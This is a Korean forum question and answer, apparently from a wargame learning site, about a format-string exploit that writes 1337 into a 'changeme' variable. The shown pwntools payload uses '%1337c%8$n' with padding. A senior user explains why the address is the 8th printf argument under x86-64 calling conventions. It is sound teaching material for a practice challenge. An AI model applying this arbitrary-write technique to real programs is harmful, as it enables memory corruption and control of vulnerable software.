changeme를 덮는 과정에서의 인자 관련 질문
# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.

p.sendline(payload)

Overwrite에 관련된 코드 설명입니다.
%1337c%8$nAAAAAA(changeme)
라느 부분에서 %8$n이 이해가 안돼서 질문 남깁니다!

1337이라는 문자의 개수를 changeme 주소에 해당하는 곳에 값을 넣는 것으로 인지했고 A는 패딩을 통해 0x10을 맞추는 것으로 인지했습니다.
근데 왜 changeme의 주소가 8번째 인자에 해당되는지가 이해가 안됩니다ㅠㅠ 도와주세요

#pwnable
작성자 정보
답변 1
시니어

함수 호출 규약에서 인자는 rdi rsi rdx rcx r8 r9 rsp rsp+8 rsp+16 ... 이런 식으로 전달이 됩니다.
여기서 printf(buf)에 gdb로 b 걸고 buf의 주소를 확인해보면 rsp와 일치하는 것을 알 수 있습니다.
image.png
image.png

%1337c%8$nAAAAAA(changeme) 이렇게 입력을 주면

%1337c%8 -> rsp에 저장
$nAAAAAA -> rsp + 8에 저장
changeme의 주소 -> rsp+16에 저장

이렇게 됩니다. 이러면 포맷 스트링이 전달되는 rdi를 제외하고,
인자의 순서는 다음과 같습니다.
rsi(1) rdx(2) rcx(3) r8(4) r9(5) rsp(6) rsp+8(7) rsp+16(8)

changeme의 주소는 rsp+16에 위치하기 때문에 8번째 인자를 참조하면 changeme의 주소를 조작할 수 있습니다.

2024.09.25. 15:18
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기